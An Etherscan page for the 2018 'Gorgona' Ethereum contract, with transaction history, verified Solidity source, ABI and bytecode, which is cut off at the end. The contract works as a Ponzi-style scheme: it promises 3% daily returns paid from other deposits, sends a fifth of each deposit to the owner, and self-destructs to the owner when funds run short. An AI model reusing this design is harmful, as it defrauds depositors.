ETH Price: $3,496.25 (+4.50%)

Contract

0x4A5Fc826441A16B86aA850B3DDC4b1Bc02f21b6C
 

Overview

ETH Balance

3.271285724969858154 ETH

Eth Value

$11,437.25 (@ $3,496.25/ETH)

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer116288552021-01-10 18:53:421416 days ago1610304822IN
Gorgona.io 1
0 ETH0.0010550
Transfer103489572020-06-27 16:46:561613 days ago1593276416IN
Gorgona.io 1
0 ETH0.00100848
Transfer102825312020-06-17 9:51:591624 days ago1592387519IN
Gorgona.io 1
0.00207779 ETH0.00039919
Transfer102669782020-06-14 23:53:491626 days ago1592178829IN
Gorgona.io 1
0 ETH0.0004220
Transfer102669782020-06-14 23:53:491626 days ago1592178829IN
Gorgona.io 1
0 ETH0.000369617.6
Transfer92390072020-01-08 8:42:031785 days ago1578472923IN
Gorgona.io 1
0 ETH0.00086141
Transfer66645162018-11-08 5:33:282211 days ago1541655208IN
Gorgona.io 1
0 ETH0.0001688
Transfer66645132018-11-08 5:32:562211 days ago1541655176IN
Gorgona.io 1
0 ETH0.0001688
Transfer66585472018-11-07 6:17:422212 days ago1541571462IN
Gorgona.io 1
0 ETH0.0001688
Transfer65652182018-10-22 23:24:592227 days ago1540250699IN
Gorgona.io 1
0 ETH0.0000422
Transfer65387682018-10-18 15:20:572231 days ago1539876057IN
Gorgona.io 1
0 ETH0.0000633
Transfer65383712018-10-18 13:44:182232 days ago1539870258IN
Gorgona.io 1
0 ETH0.00035717
Transfer65275022018-10-16 19:20:052233 days ago1539717605IN
Gorgona.io 1
0 ETH0.0000422
Transfer65274962018-10-16 19:18:412233 days ago1539717521IN
Gorgona.io 1
0 ETH0.0000422
Transfer64944112018-10-11 10:13:592239 days ago1539252839IN
Gorgona.io 1
0.2 ETH0.0000633
0xa37b320764763812018-10-08 11:47:542242 days ago1538999274IN
Gorgona.io 1
0.25 ETH0.00011185
Transfer64763172018-10-08 11:33:192242 days ago1538998399IN
Gorgona.io 1
0.16 ETH0.0000633
Transfer64711122018-10-07 15:35:242242 days ago1538926524IN
Gorgona.io 1
0.01 ETH0.00025212
Transfer64635782018-10-06 10:23:402244 days ago1538821420IN
Gorgona.io 1
0.09817364 ETH0.00086141
0x4a3151b064390392018-10-02 10:43:542248 days ago1538477034IN
Gorgona.io 1
0.1 ETH0.000067083
Transfer64365562018-10-02 0:46:452248 days ago1538441205IN
Gorgona.io 1
0 ETH0.0003139514.95
Transfer64223782018-09-29 16:56:202250 days ago1538240180IN
Gorgona.io 1
0.01 ETH0.00031515
0x4a3151b064170652018-09-28 20:14:422251 days ago1538165682IN
Gorgona.io 1
0.1 ETH0.000067083
Transfer63931842018-09-24 22:06:552255 days ago1537826815IN
Gorgona.io 1
0 ETH0.0001688
Transfer63857902018-09-23 16:58:592256 days ago1537721939IN
Gorgona.io 1
0.02 ETH0.0000422
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
63372152018-09-15 16:24:532264 days ago1537028693
Gorgona.io 1
71.77513265 ETH
63371342018-09-15 16:04:392264 days ago1537027479
Gorgona.io 1
0.042 ETH
63371302018-09-15 16:02:482264 days ago1537027368
Gorgona.io 1
0.022 ETH
63370762018-09-15 15:51:382264 days ago1537026698
Gorgona.io 1
0.004 ETH
63370512018-09-15 15:46:242264 days ago1537026384
Gorgona.io 1
0.01 ETH
63370512018-09-15 15:46:242264 days ago1537026384
Gorgona.io 1
0.002 ETH
63370282018-09-15 15:40:592264 days ago1537026059
Gorgona.io 1
0.005 ETH
63368662018-09-15 15:00:292264 days ago1537023629
Gorgona.io 1
0.01074813 ETH
63368632018-09-15 14:59:592264 days ago1537023599
Gorgona.io 1
0.006 ETH
63368372018-09-15 14:55:042264 days ago1537023304
Gorgona.io 1
0.004 ETH
63364702018-09-15 13:26:302265 days ago1537017990
Gorgona.io 1
0.002 ETH
63364502018-09-15 13:21:392265 days ago1537017699
Gorgona.io 1
0.003 ETH
63364502018-09-15 13:21:392265 days ago1537017699
Gorgona.io 1
0.02 ETH
63364412018-09-15 13:19:442265 days ago1537017584
Gorgona.io 1
0.008 ETH
63364012018-09-15 13:09:222265 days ago1537016962
Gorgona.io 1
0.0042 ETH
63361872018-09-15 12:22:382265 days ago1537014158
Gorgona.io 1
0.042 ETH
63361102018-09-15 12:04:322265 days ago1537013072
Gorgona.io 1
0.094 ETH
63360252018-09-15 11:46:432265 days ago1537012003
Gorgona.io 1
0.003 ETH
63360252018-09-15 11:46:432265 days ago1537012003
Gorgona.io 1
0.02 ETH
63359802018-09-15 11:35:492265 days ago1537011349
Gorgona.io 1
0.05 ETH
63359752018-09-15 11:34:062265 days ago1537011246
Gorgona.io 1
0.008 ETH
63359562018-09-15 11:28:052265 days ago1537010885
Gorgona.io 1
0.002 ETH
63359482018-09-15 11:26:132265 days ago1537010773
Gorgona.io 1
0.0286 ETH
63359482018-09-15 11:26:132265 days ago1537010773
Gorgona.io 1
0.03427883 ETH
63359482018-09-15 11:26:132265 days ago1537010773
Gorgona.io 1
0.0003296 ETH
View All Internal Transactions
Loading...
Loading
Contract Self Destruct called at Txn Hash 0xfa80223ef86281e73559f20a9cdacd17d04f9bf90de2db3f39d1bad4f7d5a1ad


Contract Source Code Verified (Exact Match)

Contract Name:
Gorgona

Compiler Version
v0.4.24+commit.e67f0147

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-09-08
*/

pragma solidity ^0.4.24;

contract Gorgona {
    address public owner;

    uint constant PAYOUT_PER_INVESTOR_INTERVAL = 10 minutes;
    uint constant INTEREST = 3;
    uint private PAYOUT_CUMULATIVE_INTERVAL = 10 minutes;
    uint private MINIMUM_INVEST = 10000000000000000 wei;

    uint depositAmount;
    uint investorCount;
    uint public payoutDate;
    uint public lastPaymentDate;

    struct investor
    {
        uint id;
        uint deposit;
        uint deposits;
        uint date;
        address referrer;
    }

    address[] public addresses;

    mapping(address => investor) public investors;

    event Invest(address addr, uint amount);
    event PayoutCumulative(uint amount, uint txs);
    event PayoutSelf(address addr, uint amount);
    event RefFee(address addr, uint amount);
    event Cashback(address addr, uint amount);

    modifier onlyOwner {if (msg.sender == owner) _;}

    constructor() public {
        owner = msg.sender;
        addresses.length = 1;
        payoutDate = now;
    }

    function() payable public {
        if (msg.value == 0) {
            return;
        }

        require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.001 ether");

        investor storage user = investors[msg.sender];

        if (user.id == 0) {
            user.id = addresses.length;
            addresses.push(msg.sender);
            investorCount ++;

            // referrer
            address referrer = bytesToAddress(msg.data);
            if (investors[referrer].deposit > 0 && referrer != msg.sender) {
                user.referrer = referrer;
            }
        }

        // save investor
        user.deposit += msg.value;
        user.deposits += 1;
        user.date = now;

        emit Invest(msg.sender, msg.value);
        depositAmount += msg.value;
        lastPaymentDate = now;

        // project fee
        owner.transfer(msg.value / 5);

        // referrer commission for all deposits
        if (user.referrer > 0x0) {
            uint bonusAmount = (msg.value / 100) * INTEREST;
            user.referrer.transfer(bonusAmount);
            emit RefFee(user.referrer, bonusAmount);

            // cashback only for first deposit
            if (user.deposits == 1) {
                msg.sender.transfer(bonusAmount);
                emit Cashback(msg.sender, bonusAmount);
            }
        }
    }

    function payout(uint limit) public
    {
        require(now >= payoutDate + PAYOUT_CUMULATIVE_INTERVAL, "too fast payout request");

        uint investorsPayout;
        uint txs;
        uint amount;

        for (uint idx = addresses.length; --idx >= 1;)
        {
            address addr = addresses[idx];
            if (investors[addr].date + 24 hours > now) {
                continue;
            }

            amount = getInvestorUnPaidAmount(addr);
            investors[addr].date = now;

            if (address(this).balance < amount) {
                selfdestruct(owner);
                return;
            }

            addr.transfer(amount);

            investorsPayout += amount;
            if (++txs >= limit) {
                break;
            }
        }

        payoutDate = now;
        emit PayoutCumulative(investorsPayout, txs);
    }

    function payoutSelf(address addr) public
    {
        require(addr == msg.sender, "You need specify your ETH address");

        require(investors[addr].deposit > 0, "deposit not found");
        require(now >= investors[addr].date + PAYOUT_PER_INVESTOR_INTERVAL, "too fast payment required");

        uint amount = getInvestorUnPaidAmount(addr);
        require(amount >= 1 finney, "too small unpaid amount");

        investors[addr].date = now;
        if (address(this).balance < amount) {
            selfdestruct(owner);
            return;
        }

        addr.transfer(amount);

        emit PayoutSelf(addr, amount);
    }

    function getInvestorDeposit(address addr) public view returns (uint) {
        return investors[addr].deposit;
    }

    function getInvestorCount() public view returns (uint) {
        return investorCount;
    }

    function getDepositAmount() public view returns (uint) {
        return depositAmount;
    }

    function getInvestorDatePayout(address addr) public view returns (uint) {
        return investors[addr].date;
    }

    function getPayoutCumulativeInterval() public view returns (uint)
    {
        return PAYOUT_CUMULATIVE_INTERVAL;
    }

    function setDatePayout(address addr, uint date) onlyOwner public
    {
        investors[addr].date = date;
    }

    function setPayoutCumulativeInterval(uint interval) onlyOwner public
    {
        PAYOUT_CUMULATIVE_INTERVAL = interval;
    }

    function getInvestorUnPaidAmount(address addr) public view returns (uint)
    {
        return (((investors[addr].deposit / 100) * INTEREST) / 100) * ((now - investors[addr].date) * 100) / 1 days;
    }

    function bytesToAddress(bytes bys) private pure returns (address addr) {
        assembly {
            addr := mload(add(bys, 20))
        }
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"payoutDate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getInvestorDeposit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getInvestorDatePayout","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"payoutSelf","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"interval","type":"uint256"}],"name":"setPayoutCumulativeInterval","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"investors","outputs":[{"name":"id","type":"uint256"},{"name":"deposit","type":"uint256"},{"name":"deposits","type":"uint256"},{"name":"date","type":"uint256"},{"name":"referrer","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastPaymentDate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getDepositAmount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getInvestorCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getInvestorUnPaidAmount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getPayoutCumulativeInterval","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"date","type":"uint256"}],"name":"setDatePayout","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"limit","type":"uint256"}],"name":"payout","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"addresses","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Invest","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"txs","type":"uint256"}],"name":"PayoutCumulative","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"PayoutSelf","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Cashback","type":"event"}]

6080604052610258600155662386f26fc1000060025534801561002157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600781610071919061007e565b50426005819055506100cf565b8154818355818111156100a5578183600052602060002091820191016100a491906100aa565b5b505050565b6100cc91905b808211156100c85760008160009055506001016100b0565b5090565b90565b6114f0806100de6000396000f3006080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063090f4465146106a15780632d57b6c8146106cc57806339a1ec37146107235780634bbcc1bc1461077a5780635a181478146107bd5780636f7bc9be146107ea5780637aeabb39146108895780637d96f693146108b45780638da5cb5b146108df578063960524e3146109365780639e4ece80146109615780639ffcc4c3146109b8578063a55bbff9146109e3578063e115234314610a30578063edf26d9b14610a5d575b6000806000803414156100ed5761069c565b600254341015151561018d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546f6f20736d616c6c20616d6f756e742c206d696e696d756d20302e3030312081526020017f657468657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020925060008360000154141561036757600780549050836000018190555060073390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060046000815480929190600101919050555061029d6000368080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050610aca565b91506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411801561031d57503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561036657818360040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b348360010160008282540192505081905550600183600201600082825401925050819055504283600301819055507fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a134600360008282540192505081905550426006819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60053481151561045e57fe5b049081150290604051600060405180830381858888f1935050505015801561048a573d6000803e3d6000fd5b5060008360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16111561069b5760036064348115156104dc57fe5b040290508260040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561054a573d6000803e3d6000fd5b507f9ef7b65cf7c254d0170dc1d6749df5514f6e3858a642e17ee871dafdb67dfd138360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160018360020154141561069a573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561062d573d6000803e3d6000fd5b507fe523757eee9c213543af9b06c96e0629da383d3149173f4a03ab96d8ff5267603382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5b5b505050005b3480156106ad57600080fd5b506106b6610ad8565b6040518082815260200191505060405180910390f35b3480156106d857600080fd5b5061070d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ade565b6040518082815260200191505060405180910390f35b34801561072f57600080fd5b50610764600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b2a565b6040518082815260200191505060405180910390f35b34801561078657600080fd5b506107bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b76565b005b3480156107c957600080fd5b506107e860048036038101908080359060200190929190505050610f99565b005b3480156107f657600080fd5b5061082b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b604051808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b34801561089557600080fd5b5061089e61104f565b6040518082815260200191505060405180910390f35b3480156108c057600080fd5b506108c9611055565b6040518082815260200191505060405180910390f35b3480156108eb57600080fd5b506108f461105f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561094257600080fd5b5061094b611084565b6040518082815260200191505060405180910390f35b34801561096d57600080fd5b506109a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061108e565b6040518082815260200191505060405180910390f35b3480156109c457600080fd5b506109cd61114c565b6040518082815260200191505060405180910390f35b3480156109ef57600080fd5b50610a2e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611156565b005b348015610a3c57600080fd5b50610a5b600480360381019080803590602001909291905050506111f7565b005b348015610a6957600080fd5b50610a8860048036038101908080359060200190929190505050611486565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600060148201519050919050565b60055481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515610c41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f596f75206e656564207370656369667920796f7572204554482061646472657381526020017f730000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154111515610cfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f6465706f736974206e6f7420666f756e6400000000000000000000000000000081525060200191505060405180910390fd5b610258600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154014210151515610db9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f746f6f2066617374207061796d656e742072657175697265640000000000000081525060200191505060405180910390fd5b610dc28261108e565b905066038d7ea4c680008110151515610e43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f746f6f20736d616c6c20756e7061696420616d6f756e7400000000000000000081525060200191505060405180910390fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550803073ffffffffffffffffffffffffffffffffffffffff16311015610ee3576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610f29573d6000803e3d6000fd5b507ffd2f2b8ea97d71bc161986cb5d2af11fca3dafc45071344594e0cc8161ef375c8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ff657806001819055505b50565b60086020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905085565b60065481565b6000600354905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b6000620151806064600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154420302606460036064600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015481151561112e57fe5b040281151561113957fe5b040281151561114457fe5b049050919050565b6000600154905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156111f35780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b5050565b600080600080600060015460055401421015151561127d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f746f6f2066617374207061796f7574207265717565737400000000000000000081525060200191505060405180910390fd5b60078054905091505b60018260019003925082101515611438576007828154811015156112a657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690504262015180600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015401111561132757611433565b6113308161108e565b925042600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550823073ffffffffffffffffffffffffffffffffffffffff163110156113d2576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b8073ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015611418573d6000803e3d6000fd5b508285019450858460010194508410151561143257611438565b5b611286565b426005819055507f2495041791cabab13dcf477f0e49b751a103e843b09287746194310bd1dee80c8585604051808381526020018281526020019250505060405180910390a1505050505050565b60078181548110151561149557fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058205edff0711ce4c3e563eadbfd21b9bfa9b40b5230ca72212e7689ad6144303abd0029

Deployed Bytecode

0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063090f4465146106a15780632d57b6c8146106cc57806339a1ec37146107235780634bbcc1bc1461077a5780635a181478146107bd5780636f7bc9be146107ea5780637aeabb39146108895780637d96f693146108b45780638da5cb5b146108df578063960524e3146109365780639e4ece80146109615780639ffcc4c3146109b8578063a55bbff9146109e3578063e115234314610a30578063edf26d9b14610a5d575b6000806000803414156100ed5761069c565b600254341015151561018d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546f6f20736d616c6c20616d6f756e742c206d696e696d756d20302e3030312081526020017f657468657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020925060008360000154141561036757600780549050836000018190555060073390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060046000815480929190600101919050555061029d6000368080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050610aca565b91506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411801561031d57503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561036657818360040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b348360010160008282540192505081905550600183600201600082825401925050819055504283600301819055507fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a134600360008282540192505081905550426006819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60053481151561045e57fe5b049081150290604051600060405180830381858888f1935050505015801561048a573d6000803e3d6000fd5b5060008360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16111561069b5760036064348115156104dc57fe5b040290508260040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561054a573d6000803e3d6000fd5b507f9ef7b65cf7c254d0170dc1d6749df5514f6e3858a642e17ee871dafdb67dfd138360040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160018360020154141561069a573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561062d573d6000803e3d6000fd5b507fe523757eee9c213543af9b06c96e0629da383d3149173f4a03ab96d8ff5267603382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5b5b505050005b3480156106ad57600080fd5b506106b6610ad8565b6040518082815260200191505060405180910390f35b3480156106d857600080fd5b5061070d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ade565b6040518082815260200191505060405180910390f35b34801561072f57600080fd5b50610764600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b2a565b6040518082815260200191505060405180910390f35b34801561078657600080fd5b506107bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b76565b005b3480156107c957600080fd5b506107e860048036038101908080359060200190929190505050610f99565b005b3480156107f657600080fd5b5061082b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b604051808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b34801561089557600080fd5b5061089e61104f565b6040518082815260200191505060405180910390f35b3480156108c057600080fd5b506108c9611055565b6040518082815260200191505060405180910390f35b3480156108eb57600080fd5b506108f461105f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561094257600080fd5b5061094b611084565b6040518082815260200191505060405180910390f35b34801561096d57600080fd5b506109a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061108e565b6040518082815260200191505060405180910390f35b3480156109c457600080fd5b506109cd61114c565b6040518082815260200191505060405180910390f35b3480156109ef57600080fd5b50610a2e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611156565b005b348015610a3c57600080fd5b50610a5b600480360381019080803590602001909291905050506111f7565b005b348015610a6957600080fd5b50610a8860048036038101908080359060200190929190505050611486565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600060148201519050919050565b60055481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515610c41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f596f75206e656564207370656369667920796f7572204554482061646472657381526020017f730000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154111515610cfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f6465706f736974206e6f7420666f756e6400000000000000000000000000000081525060200191505060405180910390fd5b610258600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154014210151515610db9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f746f6f2066617374207061796d656e742072657175697265640000000000000081525060200191505060405180910390fd5b610dc28261108e565b905066038d7ea4c680008110151515610e43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f746f6f20736d616c6c20756e7061696420616d6f756e7400000000000000000081525060200191505060405180910390fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550803073ffffffffffffffffffffffffffffffffffffffff16311015610ee3576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610f29573d6000803e3d6000fd5b507ffd2f2b8ea97d71bc161986cb5d2af11fca3dafc45071344594e0cc8161ef375c8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ff657806001819055505b50565b60086020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905085565b60